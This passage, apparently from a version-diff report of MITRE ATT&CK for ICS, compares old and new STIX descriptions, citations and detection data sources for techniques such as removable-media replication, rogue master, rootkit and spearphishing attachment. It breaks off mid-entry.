| external_references[1]['source_name'] | EAttack Remote System Discovery | Enterprise ATT&CK January 2018 |
| external_references[1]['description'] | Enterprise ATT&CK. (2018, January 11). Remote System Discovery. Retrieved May 17, 2018. | Enterprise ATT&CK 2018, January 11 Remote System Discovery Retrieved. 2018/05/17 |
[T0888] Remote System Information Discovery
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | An adversary may attempt to get detailed information about r | t | An adversary may attempt to get detailed information about r |
| emote systems and their peripherals, such as make/model, rol | | emote systems and their peripherals, such as make/model, rol |
| e, and configuration. Adversaries may use information from R | | e, and configuration. Adversaries may use information from R |
| emote System Information Discovery to aid in targeting and s | | emote System Information Discovery to aid in targeting and s |
| haping follow-on behaviors. For example, the system’s operat | | haping follow-on behaviors. For example, the systems operati |
| ional role and model information can dictate whether it is a | | onal role and model information can dictate whether it is a |
| relevant target for the adversary’s operational objectives. | | relevant target for the adversarys operational objectives. I |
| In addition, the system’s configuration may be used to scop | | n addition, the systems configuration may be used to scope s |
| e subsequent technique usage. Requests for system informatio | | ubsequent technique usage. Requests for system information |
| n are typically implemented using automation and management | | are typically implemented using automation and management p |
| protocols and are often automatically requested by vendor so | | rotocols and are often automatically requested by vendor sof |
| ftware during normal operation. This information may be used | | tware during normal operation. This information may be used |
| to tailor management actions, such as program download and | | to tailor management actions, such as program download and s |
| system or module firmware. An adversary may leverage this sa | | ystem or module firmware. An adversary may leverage this sam |
| me information by issuing calls directly to the system’s API | | e information by issuing calls directly to the systems API. |
| . | | |
Dropped Mitigations:
- M0930: Network Segmentation
- M0931: Network Intrusion Prevention
- M0942: Disable or Remove Feature or Program
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.900000+00:00 |
| description | An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system’s operational role and model information can dictate whether it is a relevant target for the adversary’s operational objectives. In addition, the system’s configuration may be used to scope subsequent technique usage. Requests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the system’s API. | An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the systems operational role and model information can dictate whether it is a relevant target for the adversarys operational objectives. In addition, the systems configuration may be used to scope subsequent technique usage. Requests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the systems API. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0888 | https://attack.mitre.org/Technique/T0888 |
| x_mitre_platforms[0] | Safety Instrumented System/Protection Relay | Field Controller/RTU/PLC/IED |
| x_mitre_platforms[1] | Field Controller/RTU/PLC/IED | Safety Instrumented System/Protection Relay |
[T0847] Replication Through Removable Media
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may move onto systems, such as those separated f | t | Adversaries may move onto systems, such as those separated f |
| rom the enterprise network, by copying malware to removable | | rom the enterprise network, by copying malware to removable |
| media which is inserted into the control systems environment | | media which is inserted into the control systems environment |
| . The adversary may rely on unknowing trusted third parties, | | . The adversary may rely on unknowing trusted third parties, |
| such as suppliers or contractors with access privileges, to | | such as suppliers or contractors with access privileges, to |
| introduce the removable media. This technique enables initi | | introduce the removable media. This technique enables initi |
| al access to target devices that never connect to untrusted | | al access to target devices that never connect to untrusted |
| networks, but are physically accessible. Operators of the | | networks, but are physically accessible. Operators of th |
| German nuclear power plant, Gundremmingen, discovered malwar | | e German nuclear power plant, Gundremmingen, discovered malw |
| e on a facility computer not connected to the internet. (Ci | | are on a facility computer not connected to the internet. (C |
| tation: KGG-Company-Site) (Citation: KGG-Trend Micro) The m | | itation: Kernkraftwerk Gundremmingen April 2016) (Citation: |
| alware included Conficker and W32.Ramnit, which were also fo | | Trend Micro April 2016) The malware included Conficker and W |
| und on eighteen removable disk drives in the facility. (Cit | | 32.Ramnit, which were also found on eighteen removable disk |
| ation: KGG-Reuters) (Citation: KGG-Softpedia) (Citation: K | | drives in the facility. (Citation: Christoph Steitz, Eric Au |
| GG-Science-Alert) (Citation: KGG-Geek) (Citation: KGG-Ars) | | chard April 2016) (Citation: Catalin Cimpanu April 2016) (Ci |
| (Citation: KGG-Dark) The plant has since checked for infec | | tation: Peter Dockrill April 2016) (Citation: Lee Mathews Ap |
| tion and cleaned up more than 1,000 computers. (Citation: K | | ril 2016) (Citation: Sean Gallagher April 2016) (Citation: D |
| GG-BBC) An ESET researcher commented that internet disconnec | | ark Reading Staff April 2016) The plant has since checked fo |
| tion does not guarantee system safety from infection or payl | | r infection and cleaned up more than 1,000 computers. (Citat |
| oad execution. (Citation: KGG-ESET) | | ion: BBC April 2016) An ESET researcher commented that inter |
| | | net disconnection does not guarantee system safety from infe |
| | | ction or payload execution. (Citation: ESET April 2016) |
New Detections:
- DS0009: Process (Process Creation)
- DS0016: Drive (Drive Creation)
- DS0022: File (File Access)
- DS0022: File (File Creation)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.904000+00:00 |
| description | Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible.
Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. (Citation: KGG-Company-Site) (Citation: KGG-Trend Micro) The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. (Citation: KGG-Reuters) (Citation: KGG-Softpedia) (Citation: KGG-Science-Alert) (Citation: KGG-Geek) (Citation: KGG-Ars) (Citation: KGG-Dark) The plant has since checked for infection and cleaned up more than 1,000 computers. (Citation: KGG-BBC) An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution. (Citation: KGG-ESET) | Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. (Citation: Kernkraftwerk Gundremmingen April 2016) (Citation: Trend Micro April 2016) The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. (Citation: Christoph Steitz, Eric Auchard April 2016) (Citation: Catalin Cimpanu April 2016) (Citation: Peter Dockrill April 2016) (Citation: Lee Mathews April 2016) (Citation: Sean Gallagher April 2016) (Citation: Dark Reading Staff April 2016) The plant has since checked for infection and cleaned up more than 1,000 computers. (Citation: BBC April 2016) An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution. (Citation: ESET April 2016) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0847 | https://attack.mitre.org/Technique/T0847 |
| external_references[1]['source_name'] | KGG-Company-Site | Kernkraftwerk Gundremmingen April 2016 |
| external_references[1]['description'] | Kernkraftwerk Gundremmingen. (2016, April 25). Detektion von Büro-Schadsoftware an mehreren Rechnern. Retrieved October 14, 2019. | Kernkraftwerk Gundremmingen 2016, April 25 Detektion von Bro-Schadsoftware an mehreren Rechnern Retrieved. 2019/10/14 |
| external_references[2]['source_name'] | KGG-Softpedia | Trend Micro April 2016 |
| external_references[2]['description'] | Catalin Cimpanu. (2016, April 26). Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary. Retrieved October 14, 2019. | Trend Micro 2016, April 27 Malware Discovered in German Nuclear Power Plant Retrieved. 2019/10/14 |
| external_references[2]['url'] | https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml | https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/malware-discovered-in-german-nuclear-power-plant |
| external_references[3]['source_name'] | KGG-Reuters | Christoph Steitz, Eric Auchard April 2016 |
| external_references[3]['description'] | Christoph Steitz, Eric Auchard. (2016, April 26). German nuclear plant infected with computer viruses, operator says. Retrieved October 14, 2019. | Christoph Steitz, Eric Auchard 2016, April 26 German nuclear plant infected with computer viruses, operator says Retrieved. 2019/10/14 |
| external_references[4]['source_name'] | KGG-Science-Alert | Catalin Cimpanu April 2016 |
| external_references[4]['description'] | Peter Dockrill. (2016, April 28). Multiple Computer Viruses Have Been Discovered in This German Nuclear Plant. Retrieved October 14, 2019. | Catalin Cimpanu 2016, April 26 Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary Retrieved. 2019/10/14 |
| external_references[4]['url'] | https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant | https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml |
| external_references[5]['source_name'] | KGG-ESET | Peter Dockrill April 2016 |
| external_references[5]['description'] | ESET. (2016, April 28). Malware found at a German nuclear power plant. Retrieved October 14, 2019. | Peter Dockrill 2016, April 28 Multiple Computer Viruses Have Been Discovered in This German Nuclear Plant Retrieved. 2019/10/14 |
| external_references[5]['url'] | https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/ | https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant |
| external_references[6]['source_name'] | KGG-Geek | Lee Mathews April 2016 |
| external_references[6]['description'] | Lee Mathews. (2016, April 27). German nuclear plant found riddled with Conficker, other viruses. Retrieved October 14, 2019. | Lee Mathews 2016, April 27 German nuclear plant found riddled with Conficker, other viruses Retrieved. 2019/10/14 |
| external_references[7]['source_name'] | KGG-Trend Micro | Sean Gallagher April 2016 |
| external_references[7]['description'] | Trend Micro. (2016, April 27). Malware Discovered in German Nuclear Power Plant. Retrieved October 14, 2019. | Sean Gallagher 2016, April 27 German nuclear plants fuel rod system swarming with old malware Retrieved. 2019/10/14 |
| external_references[7]['url'] | https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/malware-discovered-in-german-nuclear-power-plant | https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/ |
| external_references[8]['source_name'] | KGG-BBC | Dark Reading Staff April 2016 |
| external_references[8]['description'] | BBC. (2016, April 28). German nuclear plant hit by computer viruses. Retrieved October 14, 2019. | Dark Reading Staff 2016, April 28 German Nuclear Power Plant Infected With Malware Retrieved. 2019/10/14 |
| external_references[8]['url'] | https://www.bbc.com/news/technology-36158606 | https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298 |
| external_references[9]['source_name'] | KGG-Ars | BBC April 2016 |
| external_references[9]['description'] | Sean Gallagher. (2016, April 27). German nuclear plant’s fuel rod system swarming with old malware. Retrieved October 14, 2019. | BBC 2016, April 28 German nuclear plant hit by computer viruses Retrieved. 2019/10/14 |
| external_references[9]['url'] | https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/ | https://www.bbc.com/news/technology-36158606 |
| external_references[10]['source_name'] | KGG-Dark | ESET April 2016 |
| external_references[10]['description'] | Dark Reading Staff. (2016, April 28). German Nuclear Power Plant Infected With Malware. Retrieved October 14, 2019. | ESET 2016, April 28 Malware found at a German nuclear power plant Retrieved. 2019/10/14 |
| external_references[10]['url'] | https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298 | https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/ |
[T0848] Rogue Master
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may setup a rogue master to leverage control ser | t | Adversaries may setup a rogue master to leverage control ser |
| ver functions to communicate with outstations. A rogue maste | | ver functions to communicate with outstations. A rogue maste |
| r can be used to send legitimate control messages to other c | | r can be used to send legitimate control messages to other c |
| ontrol system devices, affecting processes in unintended way | | ontrol system devices, affecting processes in unintended way |
| s. It may also be used to disrupt network communications by | | s. It may also be used to disrupt network communications by |
| capturing and receiving the network traffic meant for the ac | | capturing and receiving the network traffic meant for the ac |
| tual master. Impersonating a master may also allow an advers | | tual master. Impersonating a master may also allow an advers |
| ary to avoid detection. In the Maroochy Attack, Vitek Boden | | ary to avoid detection. In the Maroochy Attack, Vitek Bode |
| falsified network addresses in order to send false data and | | n falsified network addresses in order to send false data an |
| instructions to pumping stations. In the case of the 2017 Da | | d instructions to pumping stations. (Citation: Marshall Abra |
| llas Siren incident, adversaries used a rogue master to send | | ms July 2008) In the case of the 2017 Dallas Siren incident |
| command messages to the 156 distributed sirens across the c | | , adversaries used a rogue master to send command messages t |
| ity, either through a single rogue transmitter with a strong | | o the 156 distributed sirens across the city, either through |
| signal, or using many distributed repeaters. | | a single rogue transmitter with a strong signal, or using m |
| | | any distributed repeaters. (Citation: Bastille April 2017) ( |
| | | Citation: Zack Whittaker April 2017) |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
- DS0029: Network Traffic (Network Traffic Flow)
- DS0040: Operational Databases (Process/Event Alarm)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.906000+00:00 |
| description | Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. In the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters. | Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. (Citation: Marshall Abrams July 2008) In the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters. (Citation: Bastille April 2017) (Citation: Zack Whittaker April 2017) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0848 | https://attack.mitre.org/Technique/T0848 |
| external_references[1]['source_name'] | Maroochy - MITRE - 200808 | Marshall Abrams July 2008 |
| external_references[1]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[1]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Bastille April 2017', 'description': 'Bastille 2017, April 17 Dallas Siren Attack Retrieved. 2020/11/06 ', 'url': 'https://www.bastille.net/blogs/2017/4/17/dallas-siren-attack'} |
| external_references | | {'source_name': 'Zack Whittaker April 2017', 'description': "Zack Whittaker 2017, April 12 Dallas' emergency sirens were hacked with a rogue radio signal Retrieved. 2020/11/06 ", 'url': 'https://www.zdnet.com/article/experts-think-they-know-how-dallas-emergency-sirens-were-hacked/'} |
[T0851] Rootkit
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may deploy rootkits to hide the presence of prog | t | Adversaries may deploy rootkits to hide the presence of prog |
| rams, files, network connections, services, drivers, and oth | | rams, files, network connections, services, drivers, and oth |
| er system components. Rootkits are programs that hide the ex | | er system components. Rootkits are programs that hide the ex |
| istence of malware by intercepting and modifying operating-s | | istence of malware by intercepting and modifying operating-s |
| ystem API calls that supply system information. Rootkits or | | ystem API calls that supply system information. Rootkits or |
| rootkit-enabling functionality may reside at the user or ker | | rootkit-enabling functionality may reside at the user or ker |
| nel level in the operating system, or lower. (Citation: EAtt | | nel level in the operating system, or lower. (Citation: Ente |
| ack Rootkit) Firmware rootkits that affect the operating s | | rprise ATT&CK January 2018) Firmware rootkits that affect |
| ystem yield nearly full control of the system. While firmwar | | the operating system yield nearly full control of the system |
| e rootkits are normally developed for the main processing bo | | . While firmware rootkits are normally developed for the mai |
| ard, they can also be developed for I/O that can be attache | | n processing board, they can also be developed for I/O T1109 |
| d to the asset. Compromise of this firmware allows the modif | | that can be attached to the asset. Compromise of this firmw |
| ication of all of the process variables and functions the mo | | are allows the modification of all of the process variables |
| dule engages in. This may result in commands being disregard | | and functions the module engages in. This may result in comm |
| ed and false information being fed to the main device. By ta | | ands being disregarded and false information being fed to th |
| mpering with device processes, an adversary may inhibit its | | e main device. By tampering with device processes, an advers |
| expected response functions and possibly enable Impact. Det | | ary may inhibit its expected response functions and possibly |
| ection: Some rootkit protections may be built into anti-viru | | enable [[Impact]]. |
| s or operating system software. There are dedicated rootkit | | |
| detection tools that look for specific types of rootkit beha | | |
| vior. Monitor for the existence of unrecognized DLLs, device | | |
| s, services, and changes to the MBR.Reference - Rootkit | | |
New Detections:
- DS0001: Firmware (Firmware Modification)
- DS0011: Module (Module Load)
- DS0016: Drive (Drive Modification)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.907000+00:00 |
| description | Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. (Citation: EAttack Rootkit)
Firmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact.
Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.Reference - Rootkit | Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. (Citation: Enterprise ATT&CK January 2018) Firmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O T1109 that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable [[Impact]]. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0851 | https://attack.mitre.org/Technique/T0851 |
| external_references[1]['source_name'] | EAttack Rootkit | Enterprise ATT&CK January 2018 |
| external_references[1]['description'] | Enterprise ATT&CK. (2018, January 11). Rootkit. Retrieved May 16, 2018. | Enterprise ATT&CK 2018, January 11 Rootkit Retrieved. 2018/05/16 |
[T0852] Screen Capture
Current version: 1.0
Version changed from: 0.0 → 1.0
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|
|---|
| t | Adversaries may attempt to perform screen capture of devices | t | Adversaries may attempt to perform screen capture of devices |
| in the control system environment. Screenshots may be taken | | in the control system environment. Screenshots may be taken |
| of workstations, HMIs, or other devices that display enviro | | of workstations, HMIs, or other devices that display enviro |
| nment-relevant process, device, reporting, alarm, or related | | nment-relevant process, device, reporting, alarm, or related |
| data. These device displays may reveal information regardin | | data. These device displays may reveal information regardin |
| g the ICS process, layout, control, and related schematics. | | g the ICS process, layout, control, and related schematics. |
| In particular, an HMI can provide a lot of important industr | | In particular, an HMI can provide a lot of important industr |
| ial process information. (Citation: Alert - Russian APT TA18 | | ial process information. (Citation: ICS-CERT October 2017) A |
| -074A - 201803) Analysis of screen captures may provide the | | nalysis of screen captures may provide the adversary with an |
| adversary with an understanding of intended operations and i | | understanding of intended operations and interactions betwe |
| nteractions between critical devices. | | en critical devices. |
New Detections:
- DS0009: Process (OS API Execution)
- DS0017: Command (Command Execution)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.908000+00:00 |
| description | Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. (Citation: Alert - Russian APT TA18-074A - 201803) Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices. | Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. (Citation: ICS-CERT October 2017) Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0852 | https://attack.mitre.org/Technique/T0852 |
| external_references[1]['source_name'] | Alert - Russian APT TA18-074A - 201803 | ICS-CERT October 2017 |
| external_references[1]['description'] | ICS-CERT. (2017, October 21). Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 23, 2017. | ICS-CERT 2017, October 21 Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors Retrieved. 2017/10/23 |
[T0853] Scripting
Current version: 1.0
Version changed from: 0.0 → 1.0
New Detections:
- DS0009: Process (Process Creation)
- DS0011: Module (Module Load)
- DS0012: Script (Script Execution)
- DS0017: Command (Command Execution)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.908000+00:00 |
| description | Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions.
In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task. | Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0853 | https://attack.mitre.org/Technique/T0853 |
[T0881] Service Stop
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may stop or disable services on a system to rend | t | Adversaries may stop or disable services on a system to rend |
| er those services unavailable to legitimate users. Stopping | | er those services unavailable to legitimate users. Stopping |
| critical services can inhibit or stop response to an inciden | | critical services can inhibit or stop response to an inciden |
| t or aid in the adversary's overall objectives to cause dama | | t or aid in the adversary's overall objectives to cause dama |
| ge to the environment. (Citation: EAttack Service Stop) Ser | | ge to the environment. (Citation: Enterprise ATT&CK) Servic |
| vices may not allow for modification of their data stores wh | | es may not allow for modification of their data stores while |
| ile running. Adversaries may stop services in order to condu | | running. Adversaries may stop services in order to conduct |
| ct Data Destruction. (Citation: EAttack Service Stop) | | Data Destruction. (Citation: Enterprise ATT&CK) |
New Detections:
- DS0009: Process (OS API Execution)
- DS0009: Process (Process Creation)
- DS0009: Process (Process Termination)
- DS0017: Command (Command Execution)
- DS0019: Service (Service Metadata)
- DS0022: File (File Modification)
- DS0024: Windows Registry (Windows Registry Key Modification)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.909000+00:00 |
| description | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. (Citation: EAttack Service Stop)
Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction. (Citation: EAttack Service Stop) | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. (Citation: Enterprise ATT&CK) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction. (Citation: Enterprise ATT&CK) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0881 | https://attack.mitre.org/Technique/T0881 |
| external_references[1]['source_name'] | EAttack Service Stop | Enterprise ATT&CK |
| external_references[1]['description'] | Enterprise ATT&CK. (n.d.). Service Stop. Retrieved October 29, 2019. | Enterprise ATT&CK Service Stop Retrieved. 2019/10/29 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Enterprise ATT&CK', 'description': 'Enterprise ATT&CK Enterprise ATT&CK Service Stop Retrieved. 2019/10/29 Service Stop Retrieved. 2019/10/29 ', 'url': 'https://attack.mitre.org/techniques/T1489/'} |
[T0865] Spearphishing Attachment
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may use a spearphishing attachment, a variant of | t | Adversaries may use a spearphishing attachment, a variant of |
| spearphishing, as a form of a social engineering attack aga | | spearphishing, as a form of a social engineering attack aga |
| inst specific targets. Spearphishing attachments are differe | | inst specific targets. Spearphishing attachments are differe |
| nt from other forms of spearphishing in that they employ mal | | nt from other forms of spearphishing in that they employ mal |
| ware attached to an email. All forms of spearphishing are el | | ware attached to an email. All forms of spearphishing are el |
| ectronically delivered and target a specific individual, com | | ectronically delivered and target a specific individual, com |
| pany, or industry. In this scenario, adversaries attach a fi | | pany, or industry. In this scenario, adversaries attach a fi |
| le to the spearphishing email and usually rely upon User Exe | | le to the spearphishing email and usually rely upon [User Ex |
| cution to gain execution and access. (Citation: EAttack Spea | | ecution](https://attack.mitre.org/techniques/T0863) to gain |
| rphishing Attachment) A Chinese spearphishing campaign runni | | execution and access. (Citation: Enterprise ATT&CK October 2 |
| ng from December 9, 2011 through February 29, 2012, targeted | | 019) A Chinese spearphishing campaign running from December |
| ONG organizations and their employees. The emails were cons | | 9, 2011 through February 29, 2012, targeted ONG organizatio |
| tructed with a high level of sophistication to convince empl | | ns and their employees. The emails were constructed with a h |
| oyees to open the malicious file attachments.(Citation: CISA | | igh level of sophistication to convince employees to open th |
| Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) | | e malicious file attachments. (Citation: Department of Justi |
| | | ce (DOJ), DHS Cybersecurity & Infrastructure Security Agency |
| | | (CISA) July 2021) |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.911000+00:00 |
| description | Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012, targeted ONG organizations and their employees. The emails were constructed with a high level of sophistication to convince employees to open the malicious file attachments.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) | Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User 